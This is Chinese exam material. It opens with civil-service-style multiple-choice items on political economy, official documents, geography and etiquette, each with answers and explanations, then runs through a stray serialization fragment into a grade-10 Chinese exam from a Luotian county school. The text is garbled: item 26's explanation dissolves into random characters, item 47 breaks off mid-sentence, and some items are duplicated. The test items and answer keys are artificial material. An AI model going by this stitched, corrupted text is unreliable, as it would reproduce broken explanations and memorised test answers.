@#@@#@　　A、劳动产品不同@#@　　B、劳动过程不同@#@　　C、劳动支出不同@#@　　D、在生产商品中所起的作用不同@#@　　【答案】D@#@　　【解析】本题考查的是商品。

@#@具体劳动和抽象劳动是生产商品的同一劳动的两个不同方面，具体劳动生产商品的使用价值，抽象劳动形成商品的价值，它们所起的作用不同，故本题选择D项。

@#@@#@　　25、社会生产可划分为两大部类，第一部类是生产资料的生产，第二部类是（）的生产。

@#@@#@　　A、折旧资料@#@　　B、资本资料@#@　　C、垄断资料@#@　　D、消费资料@#@　　【答案】D@#@　　【解析】本题考查社会生产。

@#@@#@　　社会总产品在物质形态上划分为两大部类，即第一部类和第二部类。

@#@第一部类由生产生产资料的部门构成，第二部门由生产消费资料的部门构成。

@#@D项符合题意，当选。

@#@ABC项与题意无关，排除。

@#@@#@　　故本题选择D项。

@#@@#@　　26、价值规律之所以会刺激商品生产者改进技术，改善经营管理，提高劳动生产率是因为（）。

@#@@#@　　A、可以使商品生产者在单位时间内生产出更多的商品@#@　　B、个别劳动时间低于社会必要劳动时间，对生产者有利@#@　　C、个别劳动生产率提高，可使商品价格提高@#@　　D、商品的价值量是由社会必要劳动时间所决定@#@　　【答案】ABD@#@　　【解析】A项正确，生产率提高了，商品生产的时间减少，可以增加商品生产的数量。

@#@@#@　　B项正确，个别劳动时间降低，个别商品的生产数量提高，同一时间，比别人会生产出更多的商品，所以对生产者有利。

@#@@#@　　C项错误，个别劳动效率提高，商品价格降가䂐ࠣ淴፥淴፥䨠ࠣ虐ࠣ䨠ࠣ魤가@#@　　27、作为消费者，总是希望“质优价廉”；@#@作为经营者，则强调“优质优价”。

@#@尽管两者关注点有所不同，但都说明商品（）。

@#@@#@　　A、是用于交换的劳动产品@#@　　B、使用价值比价值更重要@#@　　C、是使用价值与价值的统一体@#@　　D、只有通过交换才有使用价值@#@　　【答案】C@#@　　【解析】本题考查商品。

@#@无论是消费者还是经营者，都强调商品的“质和价”，“质”代表商品的使用价值，即商品能够满足人们的某种需要的属性，“价”是商品的价格，是商品价值的货币表现，由此可见，商品是使用价值和价值的统一体，使用价值和价值是商品的基本属性。

@#@故本题选C。

@#@@#@　　28、亚洲和非洲之间的分界线是（）。

@#@@#@　　A、亚马逊河@#@　　B、苏伊士运河@#@　　C、白令海峡@#@　　D、霍尔木兹海峡@#@　　【答案】B@#@　　【解析】苏伊士运河连接地中海与红海，提供从欧洲至印度洋和西太平洋附近土地的最近的航线，是亚洲和非洲的分界线。

@#@故选B。

@#@@#@　　29、下列各项不属于公文制文阶段的是（）。

@#@@#@　　A、草拟@#@　　B、会签@#@　　C、签发@#@　　D、注发@#@　　【答案】D@#@　　【解析】草拟、会签、审核、签发构成了公文的制文阶段。

@#@注发属于公文的制发阶段。

@#@@#@　　30、关于中餐礼仪，不正确的是（）。

@#@@#@　　A、在席间说话时，不要把筷子当道具，随意乱舞@#@　　B、喝酒时。

@#@一味给不胜酒力的人劝酒、灌酒，是失礼的表现@#@　　C、按礼仪惯例，面对正门者是上座，背对正门者是下座@#@　　D、够不到的菜，可随意起身或离席去取@#@　　【答案】D@#@　　【解析】D项不符合就餐礼节，正确的是如果多人入席，桌子很大，又不能旋转，菜离你比较远，最好不要站起来将胳膊伸到对方面前去夹食。

@#@相反，如果自己身边的菜别人够不着，应站起来帮助对方，这样既符合礼节。

@#@@#@　　又显得亲切。

@#@@#@　　31、“社会一旦有技术上的需要，则这种需要比十所大学更能把科学推向前进。

@#@”这表明（）。

@#@@#@　　A、实践是沟通主客体的桥梁@#@　　B、实践是检验真理的唯一标准@#@　　C、实践能为认识提供物质手段@#@　　D、实践的需要是认识发展的动力@#@　　【答案】D@#@　　【解析】实践是认识的来源，是认识发展的动力。

@#@认识是适应实践的需要而产生的，正是有了实践的需要，从而促进了认识的发展；@#@认识是在变革对象的实践中发生的。

@#@题干正是这一理论的反映。

@#@故选D。

@#@@#@　　32、晴朗的夜空中，星星一闪一闪的原因是（）。

@#@@#@　　A、对月光的反射@#@　　B、大气的折射作用@#@　　C、星际物质的遮挡作用@#@　　D、星星自身会发出闪烁的光@#@　　【答案】B@#@　　【解析】星星一闪一闪的原因是，星光必须穿过稠密的大气层才能到达人眼，而大气层在不断流动，密度分布不均匀，对星光的折射程度也在不断变化，从而使人眼看到星星在不断闪烁。

@#@故选B。

@#@@#@　　33、“今年花胜去年红。

@#@可惜明年花更好，知与谁同？

@#@”该诗句的作者是（）。

@#@@#@　　A、李清照@#@　　B、欧阳修@#@　　C、李商隐@#@　　D、苏轼@#@　　【答案】B@#@　　【解析】该诗句出自欧阳修的《浪淘沙》，B项正确。

@#@@#@　　34、在一定社会形态中占主导地位的生产关系总和构成了该社会的（）。

@#@@#@　　A、上层建筑@#@　　B、生产方式@#@　　C、经济基础@#@　　D、社会形态@#@　　【答案】C@#@　　【解析】注意，经济基础说的是“占主导地位”的生产关系总和。

@#@故选C。

@#@@#@　　35、社会生产可划分为两大部类，第一部类是生产资料的生产，第二部类是（）的生产。

@#@@#@　　A、折旧资料@#@　　B、资本资料@#@　　C、垄断资料@#@　　D、消费资料@#@　　【答案】D@#@　　【解析】本题考查社会生产。

@#@@#@　　社会总产品在物质形态上划分为两大部类，即第一部类和第二部类。

@#@第一部类由生产生产资料的部门构成，第二部门由生产消费资料的部门构成。

@#@D项符合题意，当选。

@#@ABC项与题意无关，排除。

@#@@#@　　故本题选择D项。

@#@@#@　　36、公文的语言应该是（）。

@#@@#@　　A、庄重严谨@#@　　B、华丽流畅@#@　　C、威严有力@#@　　D、古朴典雅@#@　　【答案】A@#@　　【解析】公文语言的主要特点是：

@#@庄重、准确、朴实、精炼、严谨、规范。

@#@@#@　　37、通报的特点是（）。

@#@@#@　　A、具有典型性，选取的事例具有典型意义@#@　　B、具有教育性，起宣传教育的作用@#@　　C、具有叙述性，不加以论述@#@　　D、具有指导性，没有强制性规定@#@　　【答案】ABD@#@　　【解析】通报确实需要叙述事实，但有时也要展开论述。

@#@@#@　　38、关于赵某代拟的，“赴某市B区考察的请示”下列表述正确的是（）。

@#@@#@　　A、标题正确，发文机关可以省略@#@　　B、标题要素不全，发文机关和事由都能省略@#@　　C、标题要素齐全，事由可以省略@#@　　D、标题不正确，发文机关不能省略@#@　　【答案】A@#@　　【解析】公文的标题一般由发文机关、事由与文种名称三个部分构成，发文机关可省略，故本题的正确答案为A项。

@#@@#@　　39、公务员意识中一种强烈的行政责任感和自我评价的能力是（）。

@#@@#@　　A、行政良心@#@　　B、行政规范@#@　　C、行政权力@#@　　D、行政信念@#@　　【答案】A@#@　　【解析】行政良心表现了公务员自我内在的责任感和良知。

@#@故选A。

@#@@#@　　40、公文标题要求能够显示文件的（）。

@#@@#@　　A、性质和特点@#@　　B、内容和形式@#@　　C、目的和要求@#@　　D、特色和风格@#@　　【答案】B@#@　　【解析】本题考查的是公文的标题。

@#@公文标题一般由发文机关、事由和文种三要素组成。

@#@@#@　　“事由”前面一般加“关于”二字，表示涉及的范围或事务。

@#@标题的文字应当高度浓缩，准确表达公文的内容，同时公文标题的发文机关、事由、文种三者亦构成了一个基本的标题形式，所以公文标题要求能够显示文件的内容和形式。

@#@故本题选择B选项。

@#@@#@　　41、根据决策目标对行动方案进行初始选择的决策称为（）。

@#@@#@　　A、战术决策@#@　　B、原始决策@#@　　C、确定型决策@#@　　D、追踪决策@#@　　【答案】B@#@　　【解析】战术决策是具有微观性、局部性、区域性和阶段性的一种决策，其目标具体，问题单一;@#@确定型决策是这样一种决策，即面临的是一种比较确定的自然状态，可选方案的预期结果是相对明确的，因而方案之间的比较和择优是不难做到的;@#@原始决策是指根据决策目标对行动方案进行初始选择的决策;@#@追踪决策是与原始决策相对的一种决策。

@#@@#@　　42、在文件拟稿中，如果要引用某份公文，应当（）。

@#@@#@　　A、仅引发文字号@#@　　B、先引发文字号后引文件标题@#@　　C、仅引文件标题@#@　　D、先引文件标题后引文件发文字号@#@　　【答案】D@#@　　【解析】在文件拟稿中，如果要引用某份公文，应当先引标题，后引发文字号。

@#@故选D。

@#@@#@　　43、公文的正文逻辑结构可分三部分，（）是正文的中心部分。

@#@@#@　　A、分析问题@#@　　B、解决问题@#@　　C、提出问题@#@　　D、介绍经过@#@　　【答案】A@#@　　【解析】公文的内在结构有一条基本规律，这就是：

@#@提出问题——分析问题——解决问题。

@#@三部分中分析问题是公文最重要的部分，是公文的重点。

@#@故选A。

@#@@#@　　44、发文时，请负责人对公文发文稿签署意见，姓名和完整日期的行为，是指（）。

@#@@#@　　A、复核@#@　　B、圈阅@#@　　C、签名@#@　　D、签发@#@　　【答案】D@#@　　【解析】签发，指主管人审核同意后签字发出，表示负责详细解释对发文进行终审的工作。

@#@故选D。

@#@@#@　　45、衡量通货膨胀率的指标不包括（）。

@#@@#@　　A、消费物价指数@#@　　B、货币GDP@#@　　C、零售物价指数@#@　　D、生产者物价指数@#@　　【答案】B@#@　　【解析】具体说来，衡量通货膨胀率的变化主要有生产者物价指数、消费物价指数（又叫居民消费价格指数）和零售物价指数三个指标。

@#@名义GDP也称货币GDP，是用生产物品和劳务的当年价格计算的全部最终产品的市场价值。

@#@名义GDP的变动既反映了实际产量变动的情况，又反映了价格变动的情况，但不是通货膨胀率的衡量指标。

@#@@#@　　46、晴朗的夜空中，星星一闪一闪的原因是（）。

@#@@#@　　A、对月光的反射@#@　　B、大气的折射作用@#@　　C、星际物质的遮挡作用@#@　　D、星星自身会发出闪烁的光@#@　　【答案】B@#@　　【解析】星星一闪一闪的原因是，星光必须穿过稠密的大气层才能到达人眼，而大气层在不断流动，密度分布不均匀，对星光的折射程度也在不断变化，从而使人眼看到星星在不断闪烁。

@#@@#@　　47、“没有民主就没有社会主义，就没有社会主义现代化”。

@#@这一论断指出了（）。

@#@@#@　　A、社会主义民主的本质@#@　　B、社会主义的特点@#@　　C、社会主义的内容@#@　　D、民主和社会主义、社会主义现代化的关系@#@　　【答案】D@#@　　【解析】A项错误，社会主义民主的本质是人民当家作主，题干没有体现。

@#@B项错误，社会主义的特点有公有制和共同富裕等，题干没有体现。

@#@C项错误，社会主义的本质内容是解放生产力，发展生产力，消灭剥削，消除两极分化，最终达到共同富裕，题干没有体现。

@#@D项正确，题干前半段“没有民主就没有社会主义”指出了";i:

19;s:

29178:

"湖北省罗田县一中学年高一语文月考试题@#@湖北省罗田县一中2018-2019学年高一语文10月月考试题@#@（试卷满分：

@#@150分；@#@答题时间：

@#@150分钟）@#@★祝考试顺利★@#@注意事项：

@#@@#@1.答卷前，考生务必将自己的姓名和座位号填写在答题卡上。

@#@@#@2.回答选择题时，选出每小题答案后，用铅笔把答题卡对应题目的答案标号涂黑。

@#@如需改动，用橡皮擦干净后，再选涂其它答案标号。

@#@回答非选择题时，将答案写在答题卡上。

@#@写在本试卷上无效。

@#@@#@3.考试结束后，将本试卷和答题卡一并交回。

@#@@#@一、现代文阅读（36分）@#@

（一）论述类文本阅读（本题共3小题，9分）@#@阅读下面的文字，完成1-3题。

@#@@#@“大数据”无法触及诗词的本质@#@陈慧@#@刘慈欣的短篇小说《诗云》，讲述了一个外星超级智慧生命体试图用“大数据”征服中国古典诗词的故事。

@#@小说想要表达的是，技术是反诗意的，.对于依赖个体心灵和内在情感的诗歌来说，技术永远无法触及诗歌的本质。

@#@日前，《清华附小六年级学生用大数据分析苏轼还写了论文》的报道又引发众人关注。

@#@这促使我们思考两个问题：

@#@将诗词作为“数据”进行检索研究是否合理？

@#@让小学生通过大数据分析诗词是否合适？

@#@@#@诗词与大数据能否相得益彰，要从二者各自的特质说起。

@#@无论从创作还是从赏析的角度，诗词都是一项主观性很强的艺术，正所谓各言其志，诗词中大多寄托着作者的情感体悟，而诗作的水准则由诗人的才性神思所决定。

@#@诗词中的意象和兴味往往只可意会，需要在读者和作者之间达成某种精神上的默契。

@#@@#@对诗词的欣赏研究，不能一味寻章摘句，因为一首诗或词首先是一个有机整体，必须营造出自洽而完整的意境。

@#@然而，大数据分析是一项纯客观的方法，是对客观数据的碎片化处理：

@#@如对苏轼全部诗词进行分词研究，再从中分析出高频词，此时苏轼的诗词是以“数据”形式呈现的，仅仅是一个个语词的序列，而非气脉浑成、寄托深远的活泼的整体——这不啻为对诗词的解构。

@#@@#@不可否认，大数据在检索、统计、定位方面的高效便捷对研究工作确有帮助，但再先进的技术手段也不能代替对作品本身的体察涵泳，正如捷径无法代替苦功。

@#@对苏轼诗词中高频词的搜索定位，只能得出某些外在印象，无法细腻深刻地触及其内涵和意旨。

@#@@#@小学生应该接受怎样的诗词教育？

@#@事实上，我国古代一直有绵延不绝的“诗教”传统，古典诗词的关键功能在于涵养人的性情，使之归于温厚。

@#@文学作品中包含了作家的全部人格，对读者的劝诫安慰如朋友兄弟般亲切。

@#@伟大的诗人修辞立其诚，吐露真性情，读者阅读其诗，不仅会为其真情感动，也很容易为其人格及人生境界感动，而心向往之。

@#@小学生使用大数据固然有助于培养科学精神和逻辑思维能力，但这与诗词的教育旨趣相异。

@#@拿苏轼诗词来说，让孩子们将其看作有血有肉、丰富多彩的艺术作品，从具体作品中感受苏轼的悲欢离合、开朗豁达与家国情怀，并进一步培养起对中国传统人文精神的感知力和理解力，不是比作为大数据视野下的客观对象而得出粗浅认知，要更有意义吗？

@#@@#@《庄子•天地》篇中激烈地拒斥技术，认为技术的滥用会导致心灵的遮蔽。

@#@那么小学生使用大数据，有没有技术的“滥用”之嫌？

@#@这个问题姑置不论，重要的是，孩子们的蓬勃诗心不要就此被遮蔽。

@#@@#@（选自《文汇报》，有删改）@#@1.下列关于原文内容的理解和分析，正确的一项是（3分）（）@#@A.中国古典诗词的主观性极强，写的都是作者自己的人生故事，能流露出作者的人格。

@#@@#@B.对诗词的欣赏研究只能采取整体感知的方法，而大数据无法对诗词进行整体化处理。

@#@@#@C.大数据分析只是一项纯客观的技术方法，它无法触及诗词的内涵和意旨等本质特性。

@#@@#@D.用大数据研究诗词只能获得理性认识，而不能与诗词内外的自然生命发生情感共鸣。

@#@@#@2.下列对原文论证的相关分析，不正确的一项是（3分）（）@#@A.文章以一篇小说和一则报道为例，提出了两个问题，表明了作者“反技术”的态度。

@#@@#@B.文章通过对诗词和大数据各自特质的分析，论证了大数据研究诗词的不合理性。

@#@@#@C.文章将体察涵泳与大数据分析的结果进行对比，论述了感性启发对诗词教育的意义。

@#@@#@D.文章论述两个论题之后，指出了大数据对孩子诗心的危害，回应了开头提出的疑问。

@#@@#@3.根据原文内容，下列说法不正确的一项是（3分）（）@#@A.用大数据来处理诗词，没有注意到诗词主观性、整体性的特质，是对美的肢解。

@#@@#@B.诗词中的意象和兴味往往只可意会，所以读者无法感知、理解诗人的人文精神。

@#@@#@C.大数据分析容易使学生丧失“感动”能力，因而很难真正进入诗人的情感世界。

@#@@#@D.在诗词教育中通过情感教育来帮助人涵养性情，塑造人格，提升人生的境界。

@#@@#@

（二）文学类文本阅读（本题共3小题，15分）@#@阅读下面的文字，完成4〜6题。

@#@@#@最后的犁@#@刘剑飞@#@秋天的田野，空旷高远。

@#@@#@靠近河滩的田地上，几个身影在阳光下晃动，那是刘桥村最后的耕耘者。

@#@@#@“吁——喔——”根生老汉手举鞭子，高声吆喝着牲口。

@#@苍老的声音，在秋风中一颤一颤，像是一曲悠长的牧歌。

@#@@#@老黄牛拉着一架犁，在前面不紧不慢地走着；@#@老根生手扶犁把，走在中间；@#@后面，是他10岁的孙子壮壮，正挎着一只竹篮子，朝犁沟里撒肥料。

@#@@#@喝足了秋后的一场透雨，田里的土酥酥的、软软的。

@#@明晃晃的犁铧插进土里，将一块块带着湿气的黑土翻上来，枯黄的衰草和豆叶便被掩在土下。

@#@@#@犁完一趟，调转头，扎好了犁，老根生便折回身来，帮着孙子撒肥料。

@#@@#@竹篮有些沉，孙子趔趄着身子，努力挎着，小手麻利地抓起一把把肥料，撒进新翻的犁沟。

@#@@#@看着眼前这个可爱的小家伙，根生老汉的心里蓦地生出了一种暖意。

@#@老伴去得早，几年前，儿子儿媳又都到南方打工去了。

@#@整个家里，就只剩下这一老一小两个人了。

@#@有时候，老根生就想，幸亏留下了这孩子。

@#@不然，自己会多孤单呢！

@#@@#@将肥料撒到地头，担心累着孩子，老根生问，“壮壮，累不累？

@#@累了咱就歇一会儿。

@#@”@#@“爷爷，我不累。

@#@天晚了，咱还得多犁几趟地呢！

@#@”@#@“好嘞，要是不累，咱就再干一会。

@#@”说着话，老根生扶起犁，喝了声号子。

@#@老黄牛就又不紧不慢地走动起来。

@#@@#@正是秋种翻耕的时节，大片的田野里却冷清清的。

@#@蓝天黄土之间，一头牛，一架犁，两个人，排成一个小小的队伍。

@#@一来一去，一去一来，在秋日的夕阳下，定格成一桢发黄的影像。

@#@@#@又犁了好几趟，见孙子脑门上已沁出密密的汗珠，根生老汉便喝住牛，扎稳犁，让这小小的队伍就地休息一会。

@#@@#@温润的泥土被太阳晒得暖暖的。

@#@壮壮拣了一堆土块，跪在地上，玩垒房子的游戏。

@#@老根生就坐在新翻的土上，不紧不慢地燃着一支烟，若有所思地静静地看这空旷的田野。

@#@@#@有风吹过，河滩对岸隐约传来机器的轰鸣声。

@#@老根生知道，那是推土机在推对面村里的房子。

@#@年前，镇里村里就开过几次会了，说是市政府要在这里流转土地，建什么工业园区。

@#@这一带的几个村子要全部迁走，迁到城市郊区的还建小区。

@#@并且还安排年轻人到附近的厂里上班，老年人进敬老院养老。

@#@@#@政策一下，村里人就一拨又一拨的拿着拆迁费走了。

@#@可根生老汉一直没走，他跟村支书讲好了，无论如何也要等他再种完这最后一季庄稼。

@#@村支书尽管很不理解，但终拗不过他，只好答应了。

@#@这些天来，夜夜睡不着觉，一季庄稼也就几十天，就怕日子一溜烟似的过了，因为他实在不愿离开这祖祖辈辈生活的土地，以及伴他耕种的这头牛、这架犁。

@#@@#@一群大雁排成“人”字，鸣叫着从天空飞过。

@#@老根生心中一酸，大雁飞走了，明年还能再飞回来，而自己呢？

@#@明年还能再回到这里吗？

@#@@#@想到这，老根生长长叹了一口气，有泪水顺腮边落下。

@#@@#@“爷爷，你怎么了？

@#@是想奶奶了吗？

@#@”听到根生老汉的叹息，玩得正欢的孙子停下来问。

@#@@#@老根生摇摇头，又点点头，擦拭着眼泪，“没事，你玩吧，爷爷没事。

@#@”@#@孙子歪着脑袋，想了一会，说，“我知道了，爷爷一定是在愁搬家的事呢。

@#@爷爷别愁，听咱村的杠子叔说，那新家里有超市、有学校，还有能喷水的小公园呢，可好玩啦！

@#@”@#@小家伙转动着两个乌溜溜的大眼睛，说得很是兴奋。

@#@@#@根生老汉狠抽了一口烟，心想，小孩.于家哪会想那么多，咱农民种了一辈子地，土地就是自己的亲人一般，这一旦离开了土地，今后的日子可咋过呢？

@#@@#@夕阳斜射下来，将整个大地染成一片暗红。

@#@地边的草丛里，秋虫子断断续续地叫着，声音发着颤，有些凄婉和孤零。

@#@@#@老根生掐灭了烟头，站起身，招呼孙子，“壮壮，来，歇好了，咱再接着干。

@#@最后一季庄稼了,可得好好种啊！

@#@”@#@（选自《羊城晚报》）@#@4.下列对小说有关内容的理解和分析，最恰当的一项是（3分）（）@#@A.这篇诗意小说描绘了农耕时代向工业时代转型中一位老农人的内心世界，小说底色中自然注入了对人性与社会问题的思考。

@#@@#@B.对面河滩的机器轰鸣声，推土机推民房，市政府要建工业园，这些描述流露出作者强烈的反感，批评强拆乱建的做法。

@#@@#@C.老根生叹气流泪，不是想去世的老伴了，而是对搬家之事发愁，是因为他不喜欢孙子描述的有超市、有学校、有喷泉的新家。

@#@@#@D.小说语言别具一格，虽不圆熟浓郁，却也华美典雅，艺术性思想性上更侧重情理交融，“桃源”般的画面呈现出时代的印记。

@#@@#@5.倒数第二段的景物描写有何作用?

@#@（6分）@#@6.结合小说内容,简析老根生形象特点。

@#@（6分）@#@ @#@@#@（三）实用类文本阅读（本题共3小题，12分）@#@阅读下面的文字，完成7-9题。

@#@@#@材料一：

@#@电子垃圾指被废弃不再使用的电器电子产品。

@#@工信部提供的数据显示，目前我国主要电器电子产品年产量超过20亿台，每年主要电器电子产品报废量超过2亿台，重量超过500万吨，我国已成为世界第一大电子垃圾产生国。

@#@但电子垃圾中含有金、银、铜等贵金属，称为“城市矿产”。

@#@有调查显示，目前一吨废旧线路板，可提取40克黄金、200千克铜及其他贵金属，对于我国这样一个资源缺乏型国家来说，这些垃圾只要合理回收和利用就可以变废为宝。

@#@@#@只是，如果回收不当，电子垃圾中的大量危险、有毒、有害物质将进入土壤，就会对水源产生巨大的污染；@#@电子垃圾含有多种持久性有机污染物，虽含量不高但对人体和环境的危害非常大，未经分类的电子垃圾，在进行统一填埋、焚烧处理时，就会对周边环境造成严重破坏。

@#@@#@（摘编自《每年两亿报废电器浪费惊人》，2017年5月16日中国国家电网）@#@材料二：

@#@日前，中国青年报社会调查中心联合问卷网，对2015名受访者进行了一项调查。

@#@调查显示，96.7%的受访者家中有废弃不用的电器电子产品，其中43.8%的受访者家中有很多废弃电器电子产品。

@#@受访者对电子垃圾处理的认知和实践情况如下图。

@#@@#@我国在2011年实施了《废弃电器电子产品回收处理管理条例》，认定了200多家有资质的电器电子废弃物回收企业，也将很多电器电子产品列进了回收名录，包括典型的“四机一脑”，即电视机、冰箱、空调、洗衣机和电脑，还有手机等。

@#@但从实行结果来看，还存在电器电子废弃物回收途径混乱、负责回收处理的企业因回收原料不足而“吃不饱”、回收市场无序无章和电器电子废弃物进入国家认定的企业难等问题。

@#@@#@91.6%受访者认为需要建立正规、可信任的电器电子产品回收渠道。

@#@具体到如何处理电子垃圾的问题上，69.7%的受访者希望由政府相关部门组织统一回收处理，64.6%的受访者希望向大众科普电器电子产品关键零件的拆卸保存方式，44.2%的受访者建议由产品商家负责回收处理。

@#@@#@（摘编自《废弃电器电子产品该如何处理？

@#@》，2017年9月7日《中国青年报》）@#@材料三：

@#@《2017年全球电子垃圾监测报告》指出，2016年全球产生的所有电子垃圾中只有20%被回收，未被回收的电子垃圾中有约4%被直接扔入垃圾填埋场；@#@其余76%则被不完全处理。

@#@@#@目前我国电子垃圾的回收仅为收集和简单的拆解，无深度处理和回收。

@#@广东省贵屿镇是我国最著名的电子垃圾拆解产业聚集地，但仍然使用原始的“洗金”“烧板”等方式进行提炼，贵屿镇水源、大气、土壤等普遍受到污染。

@#@@#@西方发达国家在电子垃圾处理方面回收效率高、产生污染少，处于全球领先地位。

@#@比如，德国电子垃圾回收率超过45%，建立了至少三种电子垃圾回收渠道：

@#@市政处理部门开设的大型回收站、环保公司提供的回收点和销售电子产品的商店。

@#@这样健全的回收体系需要政府、企业、商家和公众共同努力。

@#@@#@生产者责任延伸制度，是当下电子垃圾处理中值得提倡的一种解决办法。

@#@苹果公司推出的用于拆解苹果手机的机器人，每拆解十万台苹果6手机能回收1.9吨铝、0.8吨铜等，这些回收的铝将用于制作新苹果产品。

@#@戴尔、惠普等企业也都已建立相对完善回收制度。

@#@@#@中国在电子垃圾管理和处置方面虽取得了长足进步，但依然任重道远。

@#@@#@（摘编自《电子垃圾亟待绿色处理》，2018年4月6日人民网）@#@7.下列对材料相关内容的理解，不正确的一项是（3分）（）@#@A.我国是世界第一大废弃电器电子产品产生国，废弃电器电子产品回收处理应是一个具有巨大发展潜力的新兴产业。

@#@@#@B.调査显示，通过二手市场卖掉、以旧换新和卖给个体回收者是受访者处理电子垃圾的主要方式。

@#@@#@C.调査显示，大多数受访者都有着较强的环保意识，担心对废弃电子产品的处理不当，会对环境造成污染。

@#@@#@D.当前我国电子垃圾回收都还在使用原始的“洗金”“烧板”技术，回收效率低，也对环境等造成很大的污染。

@#@@#@8.下列对材料相关内容的概括和分析，不正确的一项是（3分）（）@#@A.电子垃圾作为“城市矿产”,合理回收、利用可以变废为宝，能从中提炼出金、银、铜等贵金属。

@#@@#@B.与其他垃圾相比，电子垃圾含有大量危险、有毒、有害物质和多种持久性有机污染物，对人体和环境的危害极大。

@#@@#@C.目前我国主要电器电子产品的年产量和年报废量都大，但电子垃圾回收途径混乱，回收处理效果不明显。

@#@@#@D.我国虽然早在2011年就认定了200多家有资质的电器电子废弃物回收企业，但截至2016年，被回收的电子垃圾仍只有20%左右。

@#@@#@9.你对我国电子垃圾回收存在的问题，有哪些好的解决措施？

@#@请结合材料谈谈你的看法。

@#@（6分）@#@答：

@#@@#@ @#@@#@二、古代诗文阅读（34分）@#@（—）文言文阅读（本题共4小题，19分）@#@阅读下面的文言文，完成10-13题。

@#@@#@秦二世三年，楚怀王以沛公①为砀郡长，封为武安侯，封项羽为长安侯。

@#@与诸将约，先入定关中者王之。

@#@……@#@汉元年十月沛公兵遂先诸侯至霸上秦王子婴素车白马系颈以组封皇帝玺符节降轵道旁。

@#@诸将或言诛秦王。

@#@沛公曰：

@#@“始怀王遣我，固以能宽容；@#@且人已服降，又杀之，不祥。

@#@”乃以秦王属吏，遂西入咸阳。

@#@欲止宫休舍，樊哙、张良谏，乃封秦重宝财物府库，还军霸上。

@#@召诸县父老豪杰曰：

@#@“父老苦秦苛法久矣，诽谤者族，偶语者弃市。

@#@吾与诸侯约，先入关者王之，吾当王关中。

@#@与父老约法三章耳：

@#@杀人者死，伤人及盗抵罪。

@#@余悉除去秦法。

@#@诸吏人皆案堵如故。

@#@凡吾所以来，为父老除害，非有所侵暴，无恐！

@#@且吾所以还军霸上，待诸侯至而定约束耳。

@#@”乃使人与秦吏行县乡邑，告谕之。

@#@秦人大喜，争持牛羊酒食献飨军士。

@#@沛公又让不受，曰：

@#@“仓粟多，非乏，不欲费人。

@#@”人又益喜，唯恐沛公不为秦王。

@#@……@#@项羽遂西，屠烧咸阳秦宫室，所过无不残破。

@#@秦人大失望，然恐，不敢不服耳。

@#@@#@——《高祖本纪》有删改@#@春，汉王部五诸侯兵，凡五十六万人，东伐楚。

@#@项王……自以精兵三万人……大破汉军。

@#@汉军皆走……而汉王乃得与数十骑遁去……汉王道逢得孝惠、鲁元②，乃载行。

@#@楚骑追汉王，汉王急，推堕孝惠、鲁元车下，滕公常下收载之，如是者三。

@#@曰‘虽急不可以驱，奈何弃之？

@#@”于是遂得脱。

@#@③@#@当此时，彭越数反梁地，绝楚粮食，项王患之，为高俎，置太公其上，告汉王曰：

@#@“今不急下，吾烹太公④。

@#@”汉王曰：

@#@“吾与项羽俱北面受命怀王，约为兄弟，吾翁即若翁，必欲烹而翁，则幸分我一杯羹。

@#@”⑤@#@——《项羽本纪》节选@#@【注】①沛公，汉高祖刘邦。

@#@②孝惠，刘邦的嫡子；@#@鲁元，刘邦之女。

@#@③本段史料在《高祖本纪》中没有写双方军队的人数，第四处省略号后的故事在《高祖本纪》中没写。

@#@④太公，此指，刘邦的父亲。

@#@⑤本段故事在《高祖本纪》中也没写。

@#@@#@10.下列对文中画波浪线部分的断句，正确的一项是（3分）（）@#@A.汉元年十月/沛公兵遂先诸侯至霸上/秦王子婴素车/白马系颈/以组封皇帝玺符节/降轵道旁@#@B.汉元年十月/沛公兵遂先/诸侯至霸上秦王子婴素车/白马/系颈以组/封皇帝玺符节/降轵道旁@#@C.汉元年十月/沛公兵遂先诸侯至霸上/秦王子婴素车白马/系颈以组封/皇帝玺符节/降轵道旁@#@D.汉元年十月/沛公兵遂先诸侯至霸上/秦王子婴素车白马/系颈以组/封皇帝玺符节/降轵道旁@#@11.下列对文中加点词语的相关内容的解说，不正确的一项是（3分）（）@#@A.侯，封建制度五等爵位的第二等，春秋战国时期的五等爵位由高到低依次是：

@#@王、侯、伯、子、男。

@#@@#@B.符，中国古代朝廷封官、传命和征调兵将的凭证，用铜、玉、竹、木等制成，双方各执一半，合二为一方有效，如兵符、虎符等。

@#@节，缀有牦牛尾的竹竿，古代使者出使时用作凭证。

@#@@#@C.弃市，是死刑的一种，自商周时即有。

@#@古代在闹市执行死刑，并将尸体暴露街头示众，称“弃市”。

@#@@#@D.北面，面北，面向北。

@#@指臣服于人。

@#@古时君主面南而坐，臣子面向北方朝见天子，故以北面指称臣。

@#@@#@12.下列对原文的叙述和分析，不正确的一项是（）（3分）@#@A.不杀秦王子婴，说明刘邦宽德容人，但他也有极端自私、薄情的阴暗一面，比如为了自己逃命,几次从车上推下自己的亲生儿女。

@#@@#@B.刘邦进入咸阳后，丝毫不为重宝女色所动，直接封闭府库，还军霸上。

@#@这足以说明他的志向不在小的方面。

@#@@#@C.与项羽的屠烧做法形成对照，刘邦入关后与民约法三章，废除秦朝苛法；@#@秋毫无犯，赢得了秦地人民的拥护，人心所向为他日后打败项羽奠定了基础。

@#@@#@D.就节选部分而言，《高祖本纪》对刘邦多有赞美，哪怕是顺手一笔写了刘邦的本性，也是淹没在刘邦能从谏如流、宽政爱民的众多信息之中。

@#@而司马迁在《项羽本纪》中则毫不留情地揭示了刘邦的冷酷无情与无赖形象。

@#@@#@13.把文中画横线的句子翻译成现代汉语。

@#@（10分）@#@

（1）秦人大喜，争持牛羊酒食献飨军士。

@#@沛公又让不受，曰：

@#@“仓粟多，非乏，不欲费人。

@#@”（5分）@#@

（2）如是者三。

@#@曰：

@#@“虽急不可以驱，奈何弃之？

@#@”于是遂得脱。

@#@（5分）@#@ @#@@#@

（二）古代诗歌阅读（本题共2小题，9分）@#@阅读下面这首唐诗，完成14-15题。

@#@@#@于易水送人@#@（唐）骆宾王@#@此地别燕丹，壮士发冲冠。

@#@@#@昔时人已没，今日水犹寒。

@#@@#@【注】骆宾王，“初唐四杰”之一，高宗时任过武功主簿、侍御史等。

@#@公元679年冬，骆宾王奔赴幽燕一带，侧身于军幕之中，决心报效国家，此诗大约写于这一时期。

@#@他对自己的际遇愤愤不平，对武则天的统治深为不满，期待时机，要为匡复李唐王朝干出一番事业。

@#@可是在这种时机尚未到来之前的那种沉沦压抑的境遇，更使得诗人陷入彷徨企求的苦闷之中。

